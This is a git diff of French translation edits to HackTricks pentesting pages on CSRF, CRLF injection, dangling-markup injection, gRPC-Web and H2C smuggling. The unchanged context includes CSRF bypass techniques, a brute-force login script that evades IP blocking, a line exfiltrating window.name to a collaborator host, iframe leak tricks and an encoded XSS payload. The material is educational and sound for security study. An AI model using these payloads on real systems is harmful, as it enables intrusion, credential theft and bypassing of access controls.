### Comment Prévenir les Injections CRLF / En-têtes HTTP dans les Applications Web -Pour atténuer les risques d'injections CRLF (Retour chariot et Saut de ligne) ou d'en-têtes HTTP dans les applications web, les stratégies suivantes sont recommandées : +Pour atténuer les risques d'injections CRLF (Retour chariot et Saut de ligne) ou d'injections d'en-têtes HTTP dans les applications web, les stratégies suivantes sont recommandées : 1. **Éviter les Entrées Utilisateur Directes dans les En-têtes de Réponse :** L'approche la plus sûre est de s'abstenir d'incorporer directement les entrées fournies par l'utilisateur dans les en-têtes de réponse. 2. **Encoder les Caractères Spéciaux :** -Si éviter les entrées utilisateur directes n'est pas réalisable, assurez-vous d'utiliser une fonction dédiée à l'encodage des caractères spéciaux comme CR (Retour chariot) et LF (Saut de ligne). Cette pratique empêche la possibilité d'injection CRLF. +Si éviter les entrées utilisateur directes n'est pas possible, assurez-vous d'utiliser une fonction dédiée à l'encodage des caractères spéciaux comme CR (Retour chariot) et LF (Saut de ligne). Cette pratique empêche la possibilité d'injection CRLF. 3. **Mettre à Jour le Langage de Programmation :** Mettez régulièrement à jour le langage de programmation utilisé dans vos applications web vers la dernière version. Optez pour une version qui interdit intrinsèquement l'injection de caractères CR et LF dans les fonctions chargées de définir les en-têtes HTTP. @@ -220,7 +220,7 @@ Mettez régulièrement à jour le langage de programmation utilisé dans vos app -Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). {% embed url="https://www.stmcyber.com/careers" %} @@ -233,7 +233,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/csrf-cross-site-request-forgery.md b/pentesting-web/csrf-cross-site-request-forgery.md index 5865ab4bf..40f762e97 100644 --- a/pentesting-web/csrf-cross-site-request-forgery.md +++ b/pentesting-web/csrf-cross-site-request-forgery.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -40,15 +40,15 @@ Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être remp 2. **Gestion de session** : La session de l'utilisateur doit être gérée uniquement via des cookies ou l'en-tête d'authentification de base HTTP, car les autres en-têtes ne peuvent pas être manipulés à cette fin. 3. **Absence de paramètres imprévisibles** : La requête ne doit pas contenir de paramètres imprévisibles, car ils peuvent empêcher l'attaque. -### Défense contre les attaques CSRF +### Se défendre contre les attaques CSRF Plusieurs contre-mesures peuvent être mises en place pour se protéger contre les attaques CSRF : * [**Cookies SameSite**](hacking-with-cookies/#samesite) : Cet attribut empêche le navigateur d'envoyer des cookies avec des requêtes entre sites. [En savoir plus sur les cookies SameSite](hacking-with-cookies/#samesite). -* [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, en particulier si l'attaque nécessite la lecture de la réponse du site victime. [Apprenez-en plus sur le contournement de CORS](cors-bypass.md). +* [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite la lecture de la réponse du site victime. [Apprenez-en plus sur le contournement de CORS](cors-bypass.md). * **Vérification de l'utilisateur** : Demander le mot de passe de l'utilisateur ou résoudre un captcha peut confirmer l'intention de l'utilisateur. -* **Vérification des en-têtes Referrer ou Origin** : La validation de ces en-têtes peut aider à garantir que les requêtes proviennent de sources de confiance. Cependant, une manipulation soigneuse des URL peut contourner les vérifications mal implémentées, telles que : -- Utilisation de `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance) -- Utilisation de `http://example.com.mal.net` (l'URL commence par l'URL de confiance) +* **Vérification des en-têtes Referrer ou Origin** : Valider ces en-têtes peut aider à garantir que les requêtes proviennent de sources de confiance. Cependant, une manipulation soigneuse des URL peut contourner les vérifications mal implémentées, telles que : +- Utiliser `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance) +- Utiliser `http://example.com.mal.net` (l'URL commence par l'URL de confiance) * **Modification des noms de paramètres** : Modifier les noms de paramètres dans les requêtes POST ou GET peut aider à prévenir les attaques automatisées. * **Jetons CSRF** : Incorporer un jeton CSRF unique dans chaque session et exiger ce jeton dans les requêtes ultérieures peut atténuer considérablement le risque de CSRF. L'efficacité du jeton peut être renforcée en imposant CORS. @@ -58,15 +58,15 @@ Comprendre et mettre en œuvre ces défenses est crucial pour maintenir la sécu ### De POST à GET -Peut-être que le formulaire que vous souhaitez exploiter est configuré pour envoyer une **requête POST avec un jeton CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET le **jeton CSRF est toujours validé**. +Peut-être que le formulaire que vous souhaitez exploiter est prêt à envoyer une **requête POST avec un jeton CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET le **jeton CSRF est toujours validé**. ### Absence de jeton -Les applications peuvent mettre en place un mécanisme pour **valider les jetons** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est complètement ignorée lorsque le jeton est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** qui contient le jeton, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener une attaque de Cross-Site Request Forgery (CSRF) efficacement. +Les applications peuvent mettre en place un mécanisme pour **valider les jetons** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est complètement ignorée lorsque le jeton est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** portant le jeton, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener une attaque de Cross-Site Request Forgery (CSRF) efficacement. ### Le jeton CSRF n'est pas lié à la session utilisateur -Les applications **ne liant pas les jetons CSRF aux sessions utilisateur** présentent un risque de sécurité significatif. Ces systèmes vérifient les jetons par rapport à un **pool global** au lieu de s'assurer que chaque jeton est lié à la session initiale. +Les applications **ne liant pas les jetons CSRF aux sessions utilisateur** présentent un risque de sécurité significatif. Ces systèmes vérifient les jetons par rapport à un **pool global** plutôt que de garantir que chaque jeton est lié à la session initiale. Voici comment les attaquants exploitent cela : @@ -74,14 +74,14 @@ Voici comment les attaquants exploitent cela : 2. **Obtenir un jeton CSRF valide** à partir du pool global. 3. **Utiliser ce jeton** dans une attaque CSRF contre une victime. -Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisées au nom de la victime, en exploitant le mécanisme de validation de jeton **inadéquat de l'application**. +Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisées au nom de la victime, exploitant le mécanisme de validation de jeton inadéquat de l'application. ### Contournement de méthode -Si la requête utilise une **méthode "étrange"**, vérifiez si la fonctionnalité de **remplacement de méthode** fonctionne. -Par exemple, si elle utilise une méthode PUT, vous pouvez essayer d'utiliser une méthode POST et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_ +Si la requête utilise une **méthode "étrange"**, vérifiez si la **fonctionnalité de remplacement de méthode** fonctionne. +Par exemple, si elle utilise une méthode PUT, vous pouvez essayer d'utiliser une méthode POST et d'envoyer : _https://example.com/my/dear/api/val/num?**\_method=PUT**_ -Cela pourrait également fonctionner en envoyant le **paramètre \_method dans une requête POST** ou en utilisant les **en-têtes** : +Cela pourrait également fonctionner en envoyant le **paramètre \_method à l'intérieur d'une requête POST** ou en utilisant les **en-têtes** : * _X-HTTP-Method_ * _X-HTTP-Method-Override_ @@ -120,7 +120,7 @@ Voici un exemple de la structure d'une attaque : Notez que si le **jeton csrf est lié au cookie de session, cette attaque ne fonctionnera pas** car vous devrez définir votre session comme victime, et donc vous vous attaquerez vous-même. {% endhint %} -### Changement de Content-Type +### Changement de type de contenu Selon [**ceci**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), afin d'**éviter les requêtes de pré-vérification** en utilisant la méthode **POST**, voici les valeurs de Content-Type autorisées : @@ -151,7 +151,7 @@ Lors de la tentative d'envoi de données JSON via une requête POST, l'utilisati 2. **Modifier le type de contenu** : Pour éviter une demande de pré-vérification tout en garantissant que le serveur reconnaisse le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela ne déclenche pas de demande de pré-vérification mais pourrait être traité correctement par le serveur s'il est configuré pour accepter `application/json`. -3. **Utilisation de fichiers Flash SWF** : Une méthode moins courante mais réalisable implique l'utilisation d'un fichier Flash SWF pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, consultez [cet article](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). +3. **Utilisation de fichiers Flash SWF** : Une méthode moins courante mais réalisable implique l'utilisation d'un fichier flash SWF pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, consultez [cet article](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Contournement de la vérification du Référent / Origine @@ -190,7 +190,7 @@ document.forms[0].submit(); ``` ### **Contournement de la méthode HEAD** -La première partie de [**ce compte rendu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que dans [le code source d'Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - une solution de contournement courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime simplement le corps de réponse**. +La première partie de [**ce compte rendu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que dans le [code source de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - une solution de contournement courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime simplement le corps de réponse**. Par conséquent, si une requête GET est limitée, vous pourriez simplement **envoyer une requête HEAD qui sera traitée comme une requête GET**. @@ -355,7 +355,7 @@ function envia(){document.getElementById("formulario").submit();}

Sitio bajo mantenimiento. Disculpe las molestias

``` -### **Vol de jeton CSRF et envoi d'une requête POST** +### **Vol CSRF et envoie une requête POST** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest(); @@ -470,7 +470,7 @@ height="600" width="800"> ``` -### **POSTVoler le jeton CSRF avec Ajax et envoyer une requête POST avec un formulaire** +### **POSTVoler le jeton CSRF avec Ajax et envoyer une requête post avec un formulaire** ```html @@ -520,7 +520,7 @@ room: username ``` ## CSRF Brute Force de Connexion -Le code peut être utilisé pour forcer de manière brutale un formulaire de connexion en utilisant un jeton CSRF (Il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'IP) : +Le code peut être utilisé pour effectuer une attaque de force brute sur un formulaire de connexion en utilisant un jeton CSRF (Il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'IP) : ```python import request import re @@ -564,7 +564,7 @@ with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` -## Outils +## Outils * [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) * [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) @@ -580,15 +580,15 @@ login(USER, line.strip())
-Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs ! +Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! -**Perspectives de piratage**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du piratage +**Perspectives de Hacking**\ +Engagez-vous avec du contenu qui explore les défis et l'excitation du hacking -**Actualités de piratage en temps réel**\ -Restez à jour avec le monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel +**Actualités de Hacking en Temps Réel**\ +Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux informations en temps réel -**Dernières annonces**\ +**Dernières Annonces**\ Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme **Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui! @@ -599,10 +599,10 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 510b65461..556f38f14 100644 --- a/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,20 +4,20 @@ Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. ## Résumé -Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS**](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\ -Il est également utile si un **secret est enregistré en clair** dans le HTML et que vous souhaitez **l'exfiltrer** du client, ou si vous souhaitez induire en erreur l'exécution d'un script. +Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous ne trouvez **aucun moyen d'exploiter un** [**XSS**](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\ +C'est également utile si un **secret est enregistré en clair** dans le HTML et que vous souhaitez **l'exfiltrer** du client, ou si vous souhaitez induire en erreur l'exécution d'un script. Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines [**Politiques de sécurité du contenu**](../content-security-policy-csp-bypass/) en exfiltrant des informations de manière inattendue (balises html, CSS, balises http-meta, formulaires, base...). @@ -25,7 +25,7 @@ Plusieurs techniques commentées ici peuvent être utilisées pour contourner ce ### Vol de secrets en clair -Si vous injectez ``. Toutes les données jusqu'à ce qu'un `` fermé soit trouvé seront envoyées: ```html @@ -116,7 +116,7 @@ if(window.name) { new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name); ``` -### Attaque de l'espace de noms HTML +### Technique de piratage trompeuse 1 - Attaque de l'espace de noms HTML Insérez une nouvelle balise avec un identifiant à l'intérieur du HTML qui écrasera la suivante et avec une valeur qui affectera le flux d'un script. Dans cet exemple, vous sélectionnez avec qui une information va être partagée: ```html @@ -175,15 +175,15 @@ Ou vous pouvez même essayer d'exécuter du javascript : ```html ``` -### Utilisation abusive d'iframe +### Mauvais usage des iframes -Un document enfant possède la capacité de visualiser et de modifier la propriété `location` de son parent, même dans des situations de cross-origin. Cela permet d'incorporer un script dans un **iframe** qui peut rediriger le client vers une page arbitraire : +Un document enfant possède la capacité de visualiser et de modifier la propriété `location` de son parent, même dans des situations de cross-origin. Cela permet d'intégrer un script dans un **iframe** qui peut rediriger le client vers une page arbitraire : ```html ``` Cela peut être atténué avec quelque chose comme : `sandbox=' allow-scripts allow-top-navigation'` -Un iframe peut également être utilisé pour divulguer des informations sensibles à partir d'une page différente **en utilisant l'attribut de nom de l'iframe**. Cela est dû au fait que vous pouvez créer un iframe qui s'iframe lui-même en abusant de l'injection HTML qui fait apparaître les **informations sensibles à l'intérieur de l'attribut de nom de l'iframe** et ensuite accéder à ce nom depuis l'iframe initial et le divulguer. +Un iframe peut également être utilisé pour divulguer des informations sensibles à partir d'une page différente en utilisant l'attribut de nom de l'iframe. Cela est dû au fait que vous pouvez créer un iframe qui s'iframe lui-même en abusant de l'injection HTML qui fait apparaître les informations sensibles à l'intérieur de l'attribut de nom de l'iframe, puis accéder à ce nom depuis l'iframe initial et le divulguer. ```html "} ``` -3. Encoder le nouveau payload +3. Encodez la nouvelle charge utile ```bash protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text ``` -4. Utilisez la sortie dans l'intercepteur Burp : +4. Utiliser la sortie dans l'intercepteur Burp : ``` AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+ ``` -### **Manuel avec l'extension gRPC-Web Coder pour Burp Suite** -Vous pouvez utiliser l'extension gRPC-Web Coder pour Burp Suite dans [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) qui est plus simple. Vous pouvez lire les instructions d'installation et d'utilisation dans son dépôt. +### **Manuel avec l'extension Burp Suite Coder gRPC-Web** +Vous pouvez utiliser l'extension Burp Suite Coder gRPC-Web dans [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) qui est plus facile. Vous pouvez lire les instructions d'installation et d'utilisation dans son dépôt. ## **Analyse des fichiers Javascript gRPC-Web** -Il y a au moins un fichier Javascript dans chaque application gRPC-Web. Vous pouvez analyser le fichier pour trouver de nouveaux messages, points de terminaison et services. Essayez d'utiliser l'outil [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite). +Il y a au moins un fichier Javascript dans chaque application gRPC-Web. Vous pouvez analyser le fichier pour trouver de nouveaux messages, endpoints et services. Essayez d'utiliser l'outil [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite). 1. Téléchargez le fichier Javascript gRPC-Web -2. Analysez-le avec grpc-scan.py : +2. Analysez-le avec grpc-scan.py: ```bash python3 grpc-scan.py --file main.js ``` -3. Analyser les résultats et tester les nouveaux points de terminaison et les nouveaux services : +3. Analyser la sortie et tester les nouveaux points de terminaison et les nouveaux services : ``` Output: Found Endpoints: @@ -139,17 +149,19 @@ grpc.gateway.testing.ClientStreamingEchoResponse: ``` ## Références -* [Article sur l'intrusion dans gRPC-Web par Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45) -* [Suite de Pentest gRPC-Web](https://github.com/nxenon/grpc-pentest-suite) +* [Article sur le piratage de gRPC-Web par Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45) +* [Suite de tests d'intrusion gRPC-Web](https://github.com/nxenon/grpc-pentest-suite)
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +Autres façons de soutenir HackTricks: + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/h2c-smuggling.md b/pentesting-web/h2c-smuggling.md index deaf3926f..828c50422 100644 --- a/pentesting-web/h2c-smuggling.md +++ b/pentesting-web/h2c-smuggling.md @@ -9,8 +9,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -26,7 +26,7 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p ### HTTP2 Over Cleartext (H2C) -H2C, ou **http2 over cleartext**, s'éloigne de la norme des connexions HTTP transitoires en mettant à niveau une connexion HTTP standard vers une connexion persistante. Cette connexion mise à niveau utilise le protocole binaire http2 pour une communication continue, contrairement à la nature de requête unique de l'HTTP en texte clair. +H2C, ou **http2 over cleartext**, s'écarte de la norme des connexions HTTP transitoires en mettant à niveau une connexion HTTP standard vers une connexion persistante. Cette connexion mise à niveau utilise le protocole binaire http2 pour la communication continue, contrairement à la nature de requête unique de HTTP en texte clair. Le cœur du problème de smuggling réside dans l'utilisation d'un **proxy inverse**. Ordinairement, le proxy inverse traite et transfère les requêtes HTTP vers l'arrière-plan, renvoyant ensuite la réponse de l'arrière-plan. Cependant, lorsque l'en-tête `Connection: Upgrade` est présent dans une requête HTTP (couramment observé avec les connexions websocket), le **proxy inverse maintient une connexion persistante** entre le client et le serveur, facilitant l'échange continu requis par certains protocoles. Pour les connexions H2C, le respect du RFC nécessite la présence de trois en-têtes spécifiques : ``` @@ -34,11 +34,11 @@ Upgrade: h2c HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA Connection: Upgrade, HTTP2-Settings ``` -La vulnérabilité survient lorsque, après la mise à niveau d'une connexion, le proxy inverse cesse de gérer les requêtes individuelles, supposant que son travail de routage est terminé après l'établissement de la connexion. L'exploitation du H2C Smuggling permet de contourner les règles du proxy inverse appliquées lors du traitement des requêtes, telles que le routage basé sur le chemin, l'authentification et le traitement WAF, en supposant qu'une connexion H2C est initiée avec succès. +La vulnérabilité survient lorsque, après la mise à niveau d'une connexion, le proxy inverse cesse de gérer les requêtes individuelles, supposant que son travail de routage est terminé après l'établissement de la connexion. L'exploitation de H2C Smuggling permet de contourner les règles du proxy inverse appliquées lors du traitement des requêtes, telles que le routage basé sur le chemin, l'authentification et le traitement WAF, en supposant qu'une connexion H2C est initiée avec succès. ### Proxies Vulnérables -La vulnérabilité dépend de la gestion par le proxy inverse des en-têtes `Upgrade` et parfois `Connection`. Les proxies suivants transmettent ces en-têtes de manière inhérente lors du proxy-pass, permettant ainsi le H2C smuggling : +La vulnérabilité dépend de la gestion par le proxy inverse des en-têtes `Upgrade` et parfois `Connection`. Les proxies suivants transmettent ces en-têtes de manière inhérente lors du proxy-pass, permettant ainsi de manière inhérente le H2C smuggling : - HAProxy - Traefik @@ -57,7 +57,7 @@ En revanche, ces services ne transmettent pas de manière inhérente les deux en ### Exploitation -Il est crucial de noter que tous les serveurs ne transmettent pas de manière inhérente les en-têtes requis pour une mise à niveau de connexion H2C conforme. Ainsi, des serveurs comme AWS ALB/CLB, NGINX et Apache Traffic Server, entre autres, bloquent naturellement les connexions H2C. Néanmoins, il est utile de tester avec la variante non conforme `Connection: Upgrade`, qui exclut la valeur `HTTP2-Settings` de l'en-tête `Connection`, car certains backends peuvent ne pas respecter les normes. +Il est crucial de noter que tous les serveurs ne transmettent pas de manière inhérente les en-têtes requis pour une mise à niveau de connexion H2C conforme. Ainsi, des serveurs comme AWS ALB/CLB, NGINX et Apache Traffic Server, entre autres, bloquent naturellement les connexions H2C. Néanmoins, il est utile de tester avec la variante non conforme `Connection: Upgrade`, qui exclut la valeur `HTTP2-Settings` de l'en-tête `Connection`, car certains backends peuvent ne pas être conformes aux normes. {% hint style="danger" %} Indépendamment du **chemin** spécifique désigné dans l'URL `proxy_pass` (par exemple, `http://backend:9999/socket.io`), la connexion établie se limite par défaut à `http://backend:9999`. Cela permet d'interagir avec n'importe quel chemin à l'intérieur de ce point de 